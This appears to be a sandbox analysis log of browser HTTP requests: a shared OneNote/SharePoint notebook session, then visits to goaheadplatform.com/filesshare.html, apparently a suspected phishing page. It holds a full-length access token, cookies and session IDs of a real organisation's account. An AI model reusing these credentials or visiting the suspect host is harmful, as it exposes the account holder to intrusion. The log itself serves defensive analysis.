Source: global traffic	HTTP traffic detected: GET /o/App_Scripts/Acl/Acl1033.js HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=3824fc47b554b2b24869d64641c3fa60d43e388049fd24ee5d1ccfc639d3528c
Source: global traffic	HTTP traffic detected: GET /me?partner=OneNoteOnline&version=latest&market=EN-US&wrapperId=suiteshell HTTP/1.1Host: amcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://euc-onenote.officeapps.live.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://euc-onenote.officeapps.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/AddinServiceHandler.ashx?action=laststoreupdate&app=4&lc=EN-US&WOPIsrc=https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIwIn0%2EycWYKm%2DN30k6gmgtXeEx0gFSYqTJyTCMks%2D67ZdJ03a093akOzd8ox3pWTETnGBdwkbeLNmmiGlq0ZQ5pICKwPlVCTx64ux5foMmILxDbSl9Ba9FmLky9BZnYYunhwTZQ4HVu%5Fnxw0yal7%5FsXAAaL%5FKsKuuKukcM1ZM5KFePBonVEQY%2D%2Dh7DJ4jXsgpCXct0mMz09wB2ECdXrH5nA41iS9KNbZI8WaYB%5FA%5FUKspaN1SLV5HGJyXUZV89ihucwtB6%5F4xDmOVy1%2Dz226h15rBdGFNU9Zyr6uYvX7XyepaZAOCdTYHtrgsQkvh49BZSbTrrs%2D9ElCvDmnbGyx3OrA62DQ&access_token_ttl=1721164012481 HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"haep: 3X-WacFrontEnd: DU2PEPF0001783EX-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05fsec-ch-ua-mobile: ?0X-OfficeVersion: 16.0.17903.41012X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543X-WacUserAgent: MSWACONSyncUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36X-Requested-With: XMLHttpRequestX-UserType: WOPIX-xhr: 1X-IsCoauthSession: trueX-WacCluster: GEU3sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-
Source: global traffic	HTTP traffic detected: GET /me?partner=OneNoteOnline&version=latest&market=EN-US&wrapperId=suiteshell HTTP/1.1Host: amcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=3824fc47b554b2b24869d64641c3fa60d43e388049fd24ee5d1ccfc639d3528c
Source: global traffic	HTTP traffic detected: GET /officeaddins/learningtools/?et= HTTP/1.1Host: www.onenote.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://euc-onenote.officeapps.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lib/1.1/hosted/office.js HTTP/1.1Host: appsforoffice.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.onenote.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.onenote.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://euc-onenote.officeapps.live.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://euc-onenote.officeapps.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lib/1.1/hosted/office.js HTTP/1.1Host: appsforoffice.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MC1=GUID=a873effc26314d9abadfafaddc07c121&HASH=a873&LV=202407&V=4&LU=1721128022440; MS0=7053b013f8a64bda95e25f0659c83dd2
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lib/1.1/hosted/onenote-web-16.00.js HTTP/1.1Host: appsforoffice.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.onenote.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.onenote.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lib/1.1/hosted/en-us/office_strings.js HTTP/1.1Host: appsforoffice.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.onenote.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.onenote.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lib/1.1/hosted/onenote-web-16.00.js HTTP/1.1Host: appsforoffice.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MC1=GUID=a873effc26314d9abadfafaddc07c121&HASH=a873&LV=202407&V=4&LU=1721128022440; MS0=7053b013f8a64bda95e25f0659c83dd2
Source: global traffic	HTTP traffic detected: GET /lib/1.1/hosted/telemetry/oteljs_agave.js HTTP/1.1Host: appsforoffice.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.onenote.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.onenote.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lib/1.1/hosted/en-us/office_strings.js HTTP/1.1Host: appsforoffice.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MC1=GUID=a873effc26314d9abadfafaddc07c121&HASH=a873&LV=202407&V=4&LU=1721128022440; MS0=7053b013f8a64bda95e25f0659c83dd2
Source: global traffic	HTTP traffic detected: GET /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=3824fc47b554b2b24869d64641c3fa60d43e388049fd24ee5d1ccfc639d3528c; MicrosoftApplicationsTelemetryDeviceId=5644e5ab-1e44-41ff-b2e3-b52b1cefcfb7
Source: global traffic	HTTP traffic detected: GET /lib/1.1/hosted/telemetry/oteljs_agave.js HTTP/1.1Host: appsforoffice.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: MC1=GUID=a873effc26314d9abadfafaddc07c121&HASH=a873&LV=202407&V=4&LU=1721128022440; MS0=7053b013f8a64bda95e25f0659c83dd2
Source: global traffic	HTTP traffic detected: GET /officeaddins/RemoteUls.ashx HTTP/1.1Host: www.onenote.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/AppSettingsHandler.ashx?app=OneNote&usid=5ed32588-7623-377d-905c-f0003950d05f&build= HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://amdat-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://amdat-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/AppSettingsHandler.ashx?app=OneNote&usid=5ed32588-7623-377d-905c-f0003950d05f&build= HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=3824fc47b554b2b24869d64641c3fa60d43e388049fd24ee5d1ccfc639d3528c; MicrosoftApplicationsTelemetryDeviceId=5644e5ab-1e44-41ff-b2e3-b52b1cefcfb7
Source: global traffic	HTTP traffic detected: GET /suite/RemoteTelemetry.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1Host: euc-common.online.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /filesshare.html HTTP/1.1Host: goaheadplatform.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://goaheadplatform.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: goaheadplatform.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://goaheadplatform.com/filesshare.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wise-m/owl/5mttl/msit/10/manifest.json HTTP/1.1Host: wise-m.public.cdn.office.netConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://amdat-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://amdat-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wise-m/owl/5mttl/msit/10/manifest.json HTTP/1.1Host: wise-m.public.cdn.office.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wise-m/owl/5mttl/msit/100/manifest.json HTTP/1.1Host: wise-m.public.cdn.office.netConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://amdat-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://amdat-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wise-m/owl/5mttl/msit/100/manifest.json HTTP/1.1Host: wise-m.public.cdn.office.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wise/owl/owl.0d1f1b153d771ea86590.js HTTP/1.1Host: wise.public.cdn.office.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://amdat-my.sharepoint.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://amdat-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/RemoteTelemetry.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f&build=16.0.17903.41012&waccluster=GEU3 HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=3824fc47b554b2b24869d64641c3fa60d43e388049fd24ee5d1ccfc639d3528c; MicrosoftApplicationsTelemetryDeviceId=5644e5ab-1e44-41ff-b2e3-b52b1cefcfb7
Source: global traffic	HTTP traffic detected: GET /wise/owl/owl.slim.6a7c2b86e1c3aace8110.js HTTP/1.1Host: wise.public.cdn.office.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://amdat-my.sharepoint.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://amdat-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wise/owl/onenote-boot.2d5ef69c51dd1ec215a9.js HTTP/1.1Host: wise.public.cdn.office.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://amdat-my.sharepoint.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://amdat-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wise/owl/owl.onenote.0d5db2950b46cf8923b1.js HTTP/1.1Host: wise.public.cdn.office.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://amdat-my.sharepoint.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://amdat-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wise/owl/owl.onenote.slim.e381401a7dae5b410169.js HTTP/1.1Host: wise.public.cdn.office.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://amdat-my.sharepoint.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: application/signed-exchange;v=b3;q=0.7,/;q=0.8Purpose: prefetchSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://amdat-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=3824fc47b554b2b24869d64641c3fa60d43e388049fd24ee5d1ccfc639d3528c; MicrosoftApplicationsTelemetryDeviceId=5644e5ab-1e44-41ff-b2e3-b52b1cefcfb7
Source: global traffic	HTTP traffic detected: GET /o/OneNote.ashx?perfTag=GetChanges_2 HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=3824fc47b554b2b24869d64641c3fa60d43e388049fd24ee5d1ccfc639d3528c; MicrosoftApplicationsTelemetryDeviceId=5644e5ab-1e44-41ff-b2e3-b52b1cefcfb7
